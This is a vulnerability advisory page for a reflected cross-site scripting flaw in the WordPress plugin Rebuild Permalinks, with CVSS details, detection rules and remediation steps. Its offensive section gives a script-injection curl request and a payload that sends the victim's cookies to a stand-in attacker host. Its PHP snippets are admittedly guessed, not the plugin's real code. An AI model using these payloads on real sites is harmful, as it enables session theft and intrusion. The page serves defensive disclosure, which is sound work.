☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Gerrygooner logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-27346

CVE-2025-27346 Cross-Site Scripting in Gerrygooner
📅 PUBLISHED: 2025-04-17 15:47 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.16%
👁️
0.16% probability
4.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1203
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
7.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-27346 is a reflected Cross-Site Scripting (XSS) vulnerability discovered in the WordPress plugin Rebuild Permalinks, developed by Gerrygooner. This flaw allows an unauthenticated attacker to inject arbitrary web scripts or HTML via a crafted URL, which is then reflected back to the victim's browser. The vulnerability affects all versions of the plugin up to and including version 1.6. As of this report, no official patch has been released by the vendor, leaving all installations of this plugin exposed to potential exploitation.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability resides within the WordPress plugin ecosystem, specifically in the rebuild-permalinks plugin. Since WordPress plugins are distributed through the official WordPress Plugin Directory and can be auto-updated, the supply chain risk is moderate. An attacker could compromise the plugin's update mechanism or distribute a malicious fork. Users are advised to monitor the plugin's page for updates and consider disabling the plugin until a patch is available.

CVSS Breakdown & Threat Level

  • CVSS Score: 7.1 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
  • Attack Vector (AV): Network – The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low – No special conditions are required.
  • Privileges Required (PR): None – No authentication is needed.
  • User Interaction (UI): Required – The victim must click a malicious link.
  • Scope (S): Changed – The impact extends beyond the vulnerable component.
  • Confidentiality (C): Low – Limited information disclosure.
  • Integrity (I): Low – Limited data modification.
  • Availability (A): Low – Limited service disruption.

Threat Level: High. The low attack complexity and lack of required privileges make this an attractive target for phishing campaigns and drive-by attacks.

Deep Dive & Mechanics

The vulnerability stems from improper neutralization of user-supplied input during web page generation. The rebuild-permalinks plugin fails to sanitize or escape parameters passed via the URL before reflecting them in the HTTP response. An attacker can craft a URL containing malicious JavaScript code, and when a victim clicks the link, the script executes in the context of the victim's browser session on the WordPress site.

Root Cause: The plugin likely uses $_GET or $_REQUEST parameters directly in output without proper escaping or validation. For example, a parameter like ?msg=<script>alert(1)</script> might be echoed back into the page without sanitization.

Attack Flow:

  1. Attacker crafts a malicious URL: https://victim-site.com/wp-admin/admin.php?page=rebuild-permalinks&msg=<script>alert(document.cookie)</script>
  2. Victim clicks the link (e.g., via phishing email).
  3. The plugin processes the msg parameter and reflects it in the HTML response.
  4. The browser executes the injected script, potentially stealing session cookies or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be present in all versions <= 1.6. A typical vulnerable pattern in PHP would be:

// Vulnerable code (rebuild-permalinks.php)
$msg = $_GET['msg'];
echo "<div class='notice'>$msg</div>";

A patched version would use proper escaping:

// Patched code
$msg = isset($_GET['msg']) ? esc_html($_GET['msg']) : '';
echo "<div class='notice'>" . esc_html($msg) . "</div>";

The esc_html() function in WordPress converts special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A WordPress site with Rebuild Permalinks plugin version <= 1.6 installed.
  • A web browser or tool like curl.

Exploitation Steps:

  1. Identify the vulnerable parameter (e.g., msg, error, success).
  2. Craft a payload: <script>alert('XSS')</script>.
  3. Send the request:
    curl "http://target-site.com/wp-admin/admin.php?page=rebuild-permalinks&msg=<script>alert('XSS')</script>"
    
  4. If the alert box appears, the vulnerability is confirmed.

Advanced Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Defensive)

Detection Steps:

  1. Monitor web server logs for suspicious msg parameters containing <script> or onerror patterns.
  2. Use a Web Application Firewall (WAF) to block common XSS payloads.
  3. Implement Content Security Policy (CSP) headers to restrict script execution.

Lab Setup:

  • Use a local WordPress instance with the vulnerable plugin.
  • Simulate an attack using the above curl command.
  • Verify detection via log analysis or WAF alerts.

Indicators of Compromise (IOCs)

  • URL Patterns:
    • /wp-admin/admin.php?page=rebuild-permalinks&msg=<script>
    • /wp-admin/admin.php?page=rebuild-permalinks&error=<script>
  • Log Entries:
    • GET /wp-admin/admin.php?page=rebuild-permalinks&msg=%3Cscript%3E
  • Network Traffic:
    • Outbound connections to attacker-controlled domains from the victim's browser.
  • File Hashes:
    • Plugin file: rebuild-permalinks.php (MD5: UNKNOWN, but version <= 1.6 is suspect).

Detection Engineering

YARA Rule

rule detect_rebuild_permalinks_xss {
    meta:
        description = "Detects reflected XSS attempts against Rebuild Permalinks plugin"
        author = "Valters IT"
        date = "2025-04-01"
        cve = "CVE-2025-27346"
    strings:
        $xss_payload = /msg=[^&]*<script/i
        $plugin_path = /wp-admin\/admin\.php\?page=rebuild-permalinks/
    condition:
        $plugin_path and $xss_payload
}

Sigma Rule

title: Reflected XSS Attempt Against Rebuild Permalinks Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests containing XSS payloads targeting the Rebuild Permalinks plugin
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'page=rebuild-permalinks'
        cs-uri-query|re: 'msg=.*<script'
    condition: selection
falsepositives:
    - Legitimate use of script tags in parameters (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-27346 - Reflected XSS in Rebuild Permalinks"; flow:to_server; content:"GET"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page=rebuild-permalinks"; http_uri; pcre:"/msg=[^&]*<script/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released.
  2. Implement a WAF rule to block requests containing <script> in the msg parameter.
  3. Add CSP header: Content-Security-Policy: default-src 'self'; script-src 'self'

Long-term Fix:

  • The vendor must release a patched version that uses esc_html() or wp_kses() to sanitize output.
  • Users should update to the latest version once available.

Workaround:

  • Edit the plugin file manually to add escaping (not recommended for non-developers).

Valters IT
Securing Digital Frontiers

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-27346/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.